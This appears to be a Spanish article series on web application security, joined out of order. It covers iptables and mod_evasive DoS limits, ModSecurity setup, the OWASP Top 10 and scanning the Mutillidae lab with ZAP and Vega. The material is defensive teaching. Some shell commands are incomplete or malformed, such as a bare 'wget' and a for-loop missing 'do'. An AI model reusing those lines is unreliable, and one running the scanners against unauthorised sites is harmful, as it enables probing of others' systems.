Una cantidad enorme de peticiones: Este caso es el más habitual, y se explota enviando una cantidad de peticiones tan grandes que, aunque la aplicación esté optimizada, termina cediendo. Para estos casos serán de especial utilidad las medidas de protección que listaremos a continuación.

Servidores Distribuídos

Si estamos en presencia de una aplicación que recibe muchas peticiones y requiere unos altos niveles de disponibilidad, es recomendable la implementación de una infraestructura distribuída, que balancee la carga entre distintos proveedores de servicio y, si es posible, diferentes regiones geográficas. Para esto son muy útiles los servicios de computación en la nube (como Amazon AWS y RackSpace).

Aquí, dependiendo de cómo esté desarrollada la aplicación, será más fácil y más difícil distribuir la infraestructura. Porque no todas las apliciones soportan nativamente el balanceo de carga. Aunque todas las aplicaciones web modernas deberían ser desarrolladas pensando en que, algún día, podrían ser llevadas a una arquitectura distribuída.

Arquitecturas Centralizadas vs Arquitecturas Distribuídas

Como podemos observar, una arquitectura distribuída nos permite evitar puntos centralizados de fallos. Incluso, podríamos realizar la distribución a través de servicios DNS como Route53 de Amazon, que permiten directamente encargarse de resolver los nombres de dominio hacia las direcciones IP que se encuentren activas, realizando un balanceo de cargas en tiempo real.

Cabe destacar que lograr una arquitectura distribuída no es del todo sencillo, porque existen muchos detalles a tener en cuenta, pero es innegable que este tipo de arquitecturas resuelve varios de los problemas habituales de las aplicaciones web, como las actualizaciones de componentes sin caída de servicios y la rápida ampliación de capacidades de procesamiento.

Firewalls Dinámicos

Los cortafuegos (firewalls) más modernos soportan la interpretación del tráfico que pasa por ellos para detectar si nos encontramos en presencia de una ataque DoS o DDoS. Estas capacidades muchas veces son entregadas por los dispositivos UTM dentro de su capacidad de IDS/IPS.

En el caso de que estemos utilizando servidores y/o firewalls basados en GNU/Linux, podemos hacer uso de IPTables para limitar la cantidad máxima de conexiones concurrentes que pueden ser establecidas por una misma dirección IP, de la siguiente forma:

iptables -A INPUT -p TCP -m state --state NEW --dport 80 -m recent --set_
iptables -A INPUT -p TCP -m state --state NEW --dport 80 -m recent --update --seconds 60 --hitcount 5 -j DROP
iptables -A INPUT -p TCP -m state --state NEW --dport 80 -j ACCEPT

La 1ra línea deja un registro de la dirección IP origen por cada conexión nueva al puerto 80

La 2da línea verifica que no se hayan registrado más de 4 conexiones desde una misma dirección IP en los últimos 60 segundos. De ser así, empieza a descartar las conexiones de esa dirección.

La 3ra línea acepta la conexión (si es que la 2da línea no la rechazó)

Este es un ejemplo sencillo y práctico que, obviamente, puede ser mejorado agregando nuevas reglas y ajustando diferentes parámetros.

Apache ModEvasive

Este módulo de Apache, aunque funciona de forma completamente independiente a ModSecurity, es un excelente complemento para este, porque juntos proveen un nivel de seguridad muy interesante.

Es un módulo de Apache para prevenir ataques DoS y básicamente lo que hace es mantener una tabla dinámica con las URIs accedidas por las distintas IPs de los clientes, y permite ejecutar algunas acciones cuando una misma IP solicita un mismo recurso (una misma URI o elementos de un mismo sitio) más de n veces en m segundos.

La acción por default que ejecuta el mod_evasive es, una vez superado el máximo de requests por segundo permitidos, bloquear durante una cantidad de segundos al cliente (la IP) devolviendo un error 403 (Forbidden) a la petición HTTP. Pero lo interesante es que también permite ejecutar un comando de sistema al registrarse un intento de ataque, con lo cual se puede agregar una regla al iptables para bloquear la IP del cliente o cualquier otra acción que creamos conveniente, es totalmente personalizable.

A continuación podemos ver las instrucciones resumidas para su instalación y configuración:

1) Instalamos el paquete:

apt-get install libapache2-mod-evasive

2) Creamos el directorio en el que vamos a almacenar los logs y le permitimos a Apache escribir en él:

mkdir /var/log/mod_evasive
chown www-data:www-data /var/log/mod_evasive/

3) Creamos el archivo de configuración "/etc/apache2/mods-available/mod-evasive.conf" y lo editamos para que tenga el siguiente contenido:

<ifmodule mod_evasive20.c>
DOSHashTableSize 3097
DOSPageCount 2
DOSSiteCount 50
DOSPageInterval 1
DOSSiteInterval 1
DOSBlockingPeriod 10
DOSLogDir /var/log/mod_evasive
DOSEmailNotify EMAIL@DOMAIN.com
DOSWhitelist 127.0.0.1
</ifmodule>

Abajo podemos ver un pequeño resumen de las opciones que acabamos de configurar:

DOSHashTableSize: Establece el número de nodos a almacenar para cada proceso de peticiones de la tabla hash . Si aplicamos un número alto a este parámetro obtendremos un rendimiento mayor, ya que las iteraciones necesarias para obtener un registro de la tabla son menores. Por contra, y de forma evidente, aumenta el consumo de memoria necesario para el almacenamiento de una tabla mayor. Se hace necesario incrementar este parámetro si el servidor atiende un número abultado de peticiones, aunque puede no servir de nada si la memoria de la máquina es escasa.

DOSPageCount: Indica el valor del umbral para el número de peticiones de una misma página dentro del intervalo definido en DOSPageInterval. Cuando el valor del parámetro es excedido, la IP del cliente se añade a la lista de bloqueos.

DOSSiteCount: Cuenta cuántas peticiones de cualquier tipo puede hacer un cliente dentro del intervalo definido en DOSSiteInterval. Si se excede dicho valor, el cliente queda añadido a la lista de bloqueos.

DOSPageInterval: El intervalo, en segundos, para el umbral de petición de páginas.

DOSSiteInterval: El intervalo, en segundos, para el umbral de petición de objetos de cualquier tipo.

DOSBlockingPeriod: Establece el tiempo, en segundos, que un cliente queda bloqueado una vez que ha sido añadido a la lista de bloqueos.

DOSEmailNotify: Un e-mail será enviado a la dirección especificada cuando una dirección IP quede bloqueada.

DOSSystemCommand: El comando reflejado se ejecutará cuando una dirección IP quede bloqueada. Usaremos %s para especificar la dirección IP implicada.

DOSWhitelist: La dirección IP indicada como valor del parámetro no será tenida en cuenta por el módulo en ningún caso. Para cada dirección IP a excluir ha de añadirse una nueva línea con el parámetro.

4) Habilitamos el módulo y reiniciamos el servicio:

a2enmod mod-evasive
service apache2 restart

Como podemos ver, es muy sencillo instalar y configurar este módulo para empezar a proteger nuestra infraestructura contra este tipo de ataques.

Resumen

A lo largo de esta serie de artículos hemos visto que tenemos varias tecnologías a nuestra disposición para aumentar la seguridad de nuestras aplicaciones web. Es muy importante que las implementemos pensando en las necesidades puntuales de nuestra organización y que, una vez implementadas, hagamos un monitoreo de los logs para detectar si están funcionando en la forma en la que lo esperamos y qué correcciones podemos hacer para optimizar cada medida de seguridad.

En esta parte, analizaremos la tecnologías que podemos implementar para mejorar la Seguridad en Aplicaciones Web desde el lado del servidor, haciendo foco en el Web Application Firewall (WAF) de ModSecurity, para comprobar qué tan fácil es implementarla y cuáles son los beneficios que nos aporta. Para esto vamos a utilizar el mismo laboratorio de pruebas del artículo anterior, a fin de lograr un buen punto de comparación de los resultados.

Introducción a ModSecurity

ModSecurity (www.modsecurity.org) es un firewall de aplicaciones web que se ejecuta como módulo de Apache (aunque ahora es compatible con IIS y Nginx, generalmente se recomienda su instalación en Apache, por ser la configuración más probada y estable.

Provee protección contra diversos ataques y permite monitorizar tráfico HTTP, así como realizar análisis en tiempo real sin necesidad de hacer cambios a la infraestructura existente.

Algunas de las funcionalidades más importantes son:

Filtrado de Peticiones: los pedidos HTTP entrantes son analizados por el módulo mod_security antes de pasarlos al servidor Web Apache, a su vez, estos pedidos son comparados contra un conjunto de reglas predefinidas para realizar las acciones correspondientes. Para realizar este filtrado se pueden utilizar expresiones regulares, permitiendo que el proceso sea flexible.

Técnicas antievasión: las rutas y los parámetros son normalizados antes del análisis para evitar técnicas de evasión.

Comprensión del protocolo HTTP: al comprender el protocolo HTTP, puede realizar filtrados específicos y granulares.

Análisis Post Payload: intercepta y analiza el contenido transmitido a través del método POST.

Log de Auditoría: es posible dejar traza de auditoría para un posterior análisis forense.

Filtrado HTTPS: al estar embebido como módulo, tiene acceso a los datos después de que estos hayan sido descifrados.

Verificación de rango de Bytes: permite detectar y bloquear shellcodes, limitando el rango de los bytes.

Soporte para ranking de anomalías y correlación básica de eventos: los contadores pueden ser automáticamente decrementados con el paso del tiempo, las variables pueden expirar.

Instalación de ModSecurity

NOTA: Para lectores que no busquen detalles técnicos de ModSecurity y les interese únicamente ver los resultados, pueden directamente saltar a la siguiente sección del artículo.
Si bien se va a detallar la instalación en Ubuntu Server, el proceso es muy similar en cualquier distribución de GNU/Linux.
Primero, debemos descargar los paquetes necesarios:

apt-get install libapache-mod-security

(esto va a instalar todas las dependencias necesarias)

Una vez hecho esto, tendremos que descargar las reglas de filtrado. Debemos recordar que, ModSecurity en sí es un motor para la aplicación de reglas y por sí sólo no realiza ninguna acción sobre el tráfico.

NOTA: Las reglas de filtrado van a depender de qué versión de ModSecurity vayamos a utilizar. En las pruebas que yo realicé, utilicé la versión de ModSecurity 2.6.6, que es compatible únicamente hasta la versión 2.2.5 de las reglas, por lo que descargué dicha versión desde el repositorio:
https://github.com/SpiderLabs/owasp-modsecurity-crs/releases

Descargamos el archivo de reglas en el directorio temporal y lo descomprimimos (los nombres de archivo pueden cambiar en las diferentes versiones de las reglas):

cd /tmp
wget

Ahora copiamos el contenido dentro del directorio ‘/etc/modsecurity’:

cp /tmp/archivo/* /etc/modsecurity/

Movemos el archivo de la configuración recomendada de ModSecurity, para volverla productiva:

mv /etc/modsecurity/modsecurity.conf-recommended /etc/modsecurity/modsecurity.conf

Movemos el archivo general de la configuración de reglas para volverlo productivo:

cd /etc/modsecurity
mv modsecurity_crs_10_setup.conf.example modsecurity_crs_10_setup.conf

Editamos la opción "SecRuleEngine" y la ponemos en "On" para habilitar la utilización del motor de reglas, así:

SecRuleEngine On

Como las reglas están divididas en diferentes secciones en base a su nivel de madurez (Base, Optional, Experimental), vamos a habilitar únicamente las reglas más probadas, que son las que suelen traer menos problemas:

cd /etc/modsecurity/base_rules
for f in * ; sudo ln -s /etc/modsecurity/base_rules/$f /etc/modsecurity/activated_rules/$f ; done

(El comando anterior crea un enlace simbólico desde cada archivo que está dentro del directorio "base_rules" y lo almacena en el directorio "activated_rules". De esta forma, configuramos cuáles reglas van a quedar activadas).

Una vez hecho esto, le decimos a ModSecurity que deb cargar todos los achivos que están presentes dentro del directorio '/etc/modsecurity/activated_rules', editando el archivo '/etc/apache2/mods-available/mod-security.conf' para que contenga la siguiente línea:

Include "/etc/modsecurity/activated_rules/*.conf"

Esta línea debe quedar inmediatamente después de la línea:

Include "/etc/modsecurity/*.conf"

Habilitamos el módulo mod-security en Apache:

a2enmod mod-security

Reiniciamos el servicio:

service apache2 restart

Ahora ya tenemos ModSecurity instalado y configurado, podemos pasar a probarlo.

Primeras Pruebas y Correcciones

NOTA: Para lectores que no busquen detalles técnicos de ModSecurity y les interese únicamente ver los resultados, pueden directamente saltar a la siguiente sección del artículo.

Una vez realizada la configuración básica de ModSecurity es probable que nos encontremos con que algunas de las reglas definidas interfieren con el correcto funcionamiento de nuestra aplicación. Para esto, recomiendo directamente deshabilitar las reglas conflictivas. En el caso de que sean muchas, deberemos verificar si no estamos teniendo un problema de configuración o una incompatibilidad entre la versión de ModSecurity y las reglas que tenemos instaladas.

Por ejemplo, en mi laboratorio de pruebas, ModSecurity no me permite acceder a mi sitio porque detecta que estoy tratando de acceder a través de la dirección IP y no a través del nombre de host. Obviamente, podría solucionar esto creando un nombre de host, pero prefiero mostrar cómo se deshabilita una regla en la configuración.

Primero, debemos identificar en el archivo de log de ModSecurity (por defecto: ‘/var/log/apache2/modsec_audit.log’, y puede cambiarse con la opción ‘SecAuditLog’ del archivo de configuración ‘/etc/modsecurity/modsecurity.conf’).

Podremos ver una línea de error como la siguiente:

Message: Warning. Pattern match "^[\\d.:]+$" at REQUEST_HEADERS:Host. [file "/etc/modsecurity/activated_rules/modsecurity_crs_21_protocol_anomalies.conf"] [line "98"] [id "960017"] [rev "2.2.5"] [msg "Host header is a numeric IP address"] [severity "CRITICAL"] [tag "PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [tag "http://technet.microsoft.com/en-us/magazine/2005.01.hackerbasher.aspx"]

Ahí podemos observar que la regla conflictiva se encuentra en la línea 98 del archivo:

/etc/modsecurity/activated_rules/modsecurity_crs_21_protocol_anomalies.conf

Lo único que tenemos que hacer es editar ese archivo y comentar la línea 98. Luego, reiniciamos el servicio de Apache con:

service apache2 restart

Ahora probamos el acceso y funcionará correctamente.

Antes y Después de ModSecurity

Ahora, volvemos a correr las herramientas ZAP y Vega, que utilizamos en el artículo anterior para realizar la auditoría de seguridad de nuestra aplicación. A continuación veremos las imágenes de cada reporte, antes y después de ModSecurity:

ZAP sin ModSecurity

ZAP con ModSecurity

Vega sin ModSecurity

Vega con ModSecurity

Observamos que, en general, el número de vulnerabilidades encontradas ha caído enormemente luego de la implementación de ModSecurity. Salvando algunos detalles extraños, que habría que verificar (por ejemplo, Vega, antes de ModSecurity marcaba dos SQL Injection y con ModSecurity marca seis, pero es probable que eso sea un error de interpretación de Vega).

Resumen Comparativo

En resumen, podemos observar lo siguiente:

• Zap Sin ModSecurity: High + Medium: 87

• Zap Con ModSecurity: High + Medium: 2

• Vega Sin ModSecurity: High + Medium: 65

• Vega Con ModSecurity: High + Medium: 15

Claramente, la visibilidad de vulnerabilidades se ha reducido, lo cual no quiere decir que las vulnerabilidades no sean explotables pero, por lo menos, ya no son tan fáciles de detectar, lo que, a priori, podría evitar mucho ataques, porque nuestra aplicación ya no sería tan atractiva para atacantes que busquen alguna tarea sencilla de realizar.

De todos modos, debemos aclarar que un Web Application Firewall no debe, ni puede, suplantar las buenas prácticas de programación.También hemos visto que un Web Application Firewall no tiene que ser necesariamente difícil de implementar. Con dedicación y equipos dedicados para realizar pruebas, podemos lograr implementarlo exitosamente en poco tiempo.

En la próxima parte

En la próxima parte de esa serie de artículos analizaremos cómo mitigar los ataques de Denegación de Servicios (DoS) en nuestras aplicaciones web.)

Como parte inicial, vamos a analizar las particularidades de seguridad de las aplicaciones web, el OWASP Top 10 2013 y la importancia de la validación de datos.

Introducción

El problema principal de las aplicaciones web, que lo diferencia de las aplicaciones "convencionales" es que en las aplicaciones web tenemos involucradas a una gran cantidad de tecnologías, y cada una de ellas puede contener o introducir vulnerabilidades.

Por ejemplo, en una típica aplicación LAMP (Linux, Apache, MySQL, PHP), ya tenemos cuatro tecnologías que son de suma importancia y cada una de ellas puede introducir diferentes vulnerabilidades, a saber:

Tanto el Sistema Operativo (GNU/Linux), como el Servidor Web (Apache), como la Base de Datos (MySQL), como el Lenguaje de Programación (PHP) podrían estar mal configurados y/o contener errores en su código que permitiría a un atacante tomar control de la aplicación.

Aquí debemos notar que, si bien es responsabilidad del administrador del sistema configurar correctamente todos los componentes, éste no podrá solucionar vulnerabilidades que aún no se hayan hecho públicas y/o para las cuales no haya parches disponibles. Dicho esto, SI es reponsabilidad del administrador del sistema que todos los componentes se encuentren debidamente actualizados.

Hasta aquí, hemos notado que hay cuatro componentes de sistema que podrían introducir vulnerabilidades, y aún no hemos empezado a hablar del código propio de la aplicación que, en este caso, estará escrita en PHP. En esta área, necesitamos hablar de las metodologías de programación segura, que muchos desarrolladores, ya sea por falta de tiempo o de experiencia, no siguen. Esto probablemente introduzca vulnerabilidades del estilo OWASP Top 10 (que analizaremos en breve).

Sumado a todo esto, debemos considerar que, las aplicaciones actuales, suelen depender de ciertas tecnologías adicionales a las listadas con anterioridad como, por ejemplo, JavaScript, ActionScript, HTML5 y CSS3. Todas ellas, en mayor o menor medida podrían contener vulnerabilidades o incluir nuevos vectores de ataque.

Consideremos que, en este ejemplo, hablamos de una aplicación del tipo "LAMP", pero este análisis aplica a cualquier aplicación web, por ejemplo "Windows Server + MS SQL Server + Internet Information Services + ASP.net".

Por último, destaquemos que, algunas aplicaciones web, utilizan un "mix" de tecnologías, en el cual podemos ver, por ejemplo, una base de datos SQL y una base de datos NoSQL. O más de un lenguaje de programación, lo cual agrega aún más complejidad y posibles vectores de ataque.

Todo esto hace que las aplicaciones web no sean nada sencillas de proteger, aunque veremos que es posible y perfectamente realizable si trabajamos con criterio.

OWASP Top 10 2013

OWASP - Open Web Application Security Project (www.owasp.org) es un proyecto dedicado a determinar y combatir las causas que hacen que las aplicaciones web sean inseguras.

La comunidad OWASP está formada por empresas, organizaciones educativas y particulares de todo mundo. Juntos constituyen una comunidad de seguridad informática que trabaja para crear artículos, metodologías, documentación, herramientas y tecnologías que se liberan y pueden ser usadas gratuitamente por cualquiera.

Uno de los proyectos más reconocidos de esta organización es el OWASP Top 10, que es, básicamente, la lista de las diez vulnerabilidades más frecuentes y peligrosas en las aplicaciones web.

OWASP Top 10 fue lanzado por primera vez en 2004, y están disponibles las versiones 2007, 2010 y 2013. A partir de la versión 2010, se da prioridad al riesgo, no sólo a la prevalencia de las vulnerabilidades.

A continuación podemos ver la lista de vulnerabilidades OWASP Top 10 2013:

Si hacemos un breve análisis de las vulnerabilidades aquí listadas, podremos observar que muchas de ellas se deben a no validar correctamente los datos de entrada de las aplicaciones web. Esto es, básicamente, por un mal concepto de lo que son "datos fiables" y "datos no-fiables".

Datos Fiables: Son los datos sobre los cuales tenemos total control y que no pueden ser modificados por terceros ajenos a la aplicación. Por ejemplo, la hora del sistema, las configuraciones internas de la aplicación, las variables de entorno, etc.

Datos No-Fiables: Todos los otros datos.

Si, es verdad que los "datos no-fiables" son algo bastante amplio, pero es preferible identificar prácticamente cualquier dato como "no-fiable", salvo que tengamos la certeza de que dicho dato no puede ser alterado por ningún tercero. Esto es así porque los controles de seguridad y validación de datos nunca están de más (no hay problema si un dato fiable es validado como si fuera no-fiable), pero puede ser muy peligroso para una aplicación manipular un dato como fiable cuando verdaderamente no lo es.

Existen dos casos muy habituales que ejemplifican los errores que suelen cometer los desarroladores con respecto a la validación de datos:

Tipos de Dato Esperados: Por ejemplo, en un campo de formulario en el que se le está pidiendo a un usuario que introduzca su año de nacimiento. Obviamente, podemos esperar que el valor de este campo va a ser numérico (p. ej: 1985). Pero, ¿qué sucede si la aplicación recibe valores alfanuméricos o caracteres especiales?

Es muy habitual encontrar aplicaciones que nos devuelven un mensaje de error interno, el cual nos hace pensar que el desarrollador no consideró la posibilidad de que, por error o de forma malintencionada, un usuario introdujera datos de un tipo no esperado en el formulario.

Este tipo de errores podría llegar a introducir vulnerabilidades serias en una aplicación, como Cross-Site Scripting (OWASP Top 10 2013 - A3) o SQL Injections (OWASP Top 10 2013 - A1).

Datos Supuestamente No-Modificables: Es muy común encontrar aplicaciones que consideran ciertos datos como de "sólo lectura", cuando verdaderamente son datos fácilmente modificables por un atacante.
El ejemplo más habitual de esto son las cabeceras HTTP, como "User-Agent" y "Referer". Dichas cabeceras pueden ser modificadas en cualquier navegador web y, si no son correctamente validadas por la aplicación, podrían llegar a existir serias vulnerabilidades.
Volviendo a la temática de "Datos No Validados", aquí podemos ver qué elementos del OWASP Top 10 2013 podrían estar asociados con datos que no han sido validados correctamente:

A1 - Inyección
A2 - Pérdida de Autenticación y Gestión de Sesiones
A3 - Secuencia de Comandos en Sitios Cruzados (XSS)
A4 - Referencia Directa Insegura a Objetos
A6 - Exposición de Datos Sensibles
A7 - Ausencia de Control de Acceso a las Funciones
A8 - Falsificación de Peticiones en Sitios Cruzados (CSRF)
A10 - Redirecciones y Reenvíos No-Validados

Como podemos observar, ocho de las diez vulnerabilidades más críticas de las aplicaciones web podrían estar relacionadas con una pobre validación de datos. Esto hace que la validación de datos tenga que ser nuestra prioridad número 1 al hablar de seguridad en aplicaciones web.

Queda en las particularidades de cada lenguaje el cómo se van a validar los datos, por ejemplo, en PHP podemos utilizar la función "htmlentities" para escapar caracteres especiales HTML y la función "mysqli_real_escape_string" para escapar caracteres especiales en consultas a bases de datos MySQL.

Para más información, podemos consultar la documentación de cada lenguaje, y la guía rápida para las mejores prácticas de programación segura de OWASP:

http://www.owasp.org/index.php/OWASP_Secure_Coding_Practices_-_Quick_Reference_Guide

OWASP Secure Coding Practices - Quick Reference Guide

En la próxima parte

En la próxima parte de esta serie de artículos haremos un repaso por las herramientas que podemos utilizar para auditar la seguridad de una aplicación web.

Laboratorio de Pruebas

Para montar un laboratorio de pruebas vamos a utilizar una instalación LAMP (Linux + Apache + PHP + MySQL), y le vamos a instalar la aplicación web Mutillidae, que es una aplicación intencionalmente vulnerable, que tiene el propósito de servir como laboratorio de prácticas, tanto para implementar medidas de defensa como para realizar auditorías de seguridad. Por este motivo, nuestras herramientas de seguridad encontrarán muchísimas vulnerabilidades, lo cual va a servirnos para realizar una comparativa de resultados.

Mutillidae puede descargarse desde: http://sourceforge.net/projects/mutillidae

OWASP Zed Attack Proxy (ZAP)

Zed Attack Proxy de OWASP (www.owasp.org) es una herramienta de código abierto, escrita en Java que sirve para realizar auditorías de seguridad a aplicaciones web de una forma muy sencilla, pero también potente. Entre las muchas características de ZAP, podemos notar las siguientes:

Proxy de interceptación: Permite ver todo el tráfico entre el servidor web y el navegador, permitiéndonos editar el tráfico en ambos sentidos de una forma muy sencilla.

Spider: Es una característica que ayuda a descubrir nuevas URL’s en el sitio auditado. Una de las maneras que realiza esto es analizando el código HTML de la página para descubrir etiquetas y seguir sus atributos href.

Forced Browsing: Intenta descubrir directorios y archivos no indexados en el sitio como pueden ser páginas de inicio de sesión. Para lograrlo cuenta por defecto con una serie de diccionarios que utilizará para realizar peticiones al servidor esperando status code de respuesta 200.

Active Scan: Genera de manera automatizada diferentes ataques web contro el sitio como CSRF, XSS, Inyección SQL entre otros.

Como la idea de este artículo es mostrar las herramientas más fáciles y rápidas de utilizar, nos enfocaremos en la característica de "Active Scan" que nos permite realizar una auditoría profunda de una aplicación web simplemente escribiendo la URL de la misma. El resultado que obtenemos luego de escanear las vulnerabilidades de Mutillidae es:

Como podemos observar, se encontraron 15 distintos tipos de vulnerabilidades que, a su vez, se encuentran presentes en más de un lugar de la aplicación. Por ejemplo, para nombrar las vulnerabilidades más críticas:

• 40 Cross Site Scripting (XSS)

• Un External Redirect

• 16 Path Traversal

• Un Remote File Inclusion

• Un Remote OS Command Injection

• Dos SQL Injection (MySQL)

• Cinco SQL Injection (Genéricos)

Evidentemente, una aplicación muy insegura. Cabe aclarar que la herramienta muestra muchísima más información sobre cada vulnerabilidad, aquí simplemente vemos el reporte general.

Vega

Vega, de Subgraph (www.subgraph.com) también está desarrollada en Java y cuenta con una interfaz gráfica muy intuitiva. Aunque no es tan personalizable como ZAP, es una excelente herramienta para correr un escaneo de vulnerabilidades web. Basta con escribir la URL de la aplicación a auditar, seleccionar los plugins de auditoría que queremos habilitar y, después de unos minutos, obtendremos un reporte como el siguiente:

En este caso también se han encontrado varias vulnerabilidades diferentes. Las catalogadas como "graves" son:

• Seis Cross Site Scripting (XSS)

• Un Local File Include

• Un "posible" SQL Injection

• Un SQL Injection comprobado

• Nueve posibles Local File Inclusion

Cabe aclarar que la herramienta muestra muchísima más información sobre cada vulnerabilidad, aquí simplemente vemos el reporte general.

Comparativa y Aclaraciones

Si bien, a primera impresión, en Vega fueron detectadas menos vulnerabillidades, ambas herramientas muestran mucha información de interés, y es muy importante mencionar que, algunas herramientas, cuentan la cantidad de vulnerabilidades de diferentes maneras, por ejemplo, eliminando las vulnerabilidades "duplicadas" que se encuentran en varias URLs de la aplicación, listandolas como vulnerabilidades únicas con presencia en diferentes URLs.

Debido a esto, no podemos limitarnos a decir que una herramienta es mejor que otra simplemente observando la cantidad de vulnerabilidades encontradas. Como son dos herramientas de muy fácil utilización, yo prefiero ejecutar ambas y comparar resultados, porque es muy probable que cada una de ellas encuentre vulnerabilidades que la otra aplicación no ha podido encontrar.

Por otra parte, son herramientas que terminan su ejecución muy rápido, generalmente, menos de diez minutos cada una, por lo que no hay problema en correr una y después la otra.

NOTA: Recomiendo no correr las pruebas en paralelo (es decir, no ejecutar las dos herramientas el mismo tiempo), eso va a darnos una mejor certeza en los reportes.

Otras Herramientas de Interés

Existen otras herramientas de código abierto que he dejado de lado en este artículo, principalmente por alguna/s de la siguientes razones:

1. No siento que tengan una utilización tan sencilla

2. Los reportes pueden tardar bastante más en generarse

3. Tienden a generar más falsos positivos / negativos

4. No parecen estar tan bien "terminadas"

De todos modos, nunca está de más realizar la prueba, y ver cuál es la herramienta que más nos satisface. Algunas de estas herramientas son:

Arachni:

http://www.arachni-scanner.com

w3Af:

http://w3af.org

Nikto: https://www.cirt.net/Nikto2

Wapiti:

http://wapiti.sourceforge.net

En la próxima parte

En la próxima parte de esa serie de artículos analizaremos la tecnología Web Application Firewall, su facilidad de implementación y sus beneficios.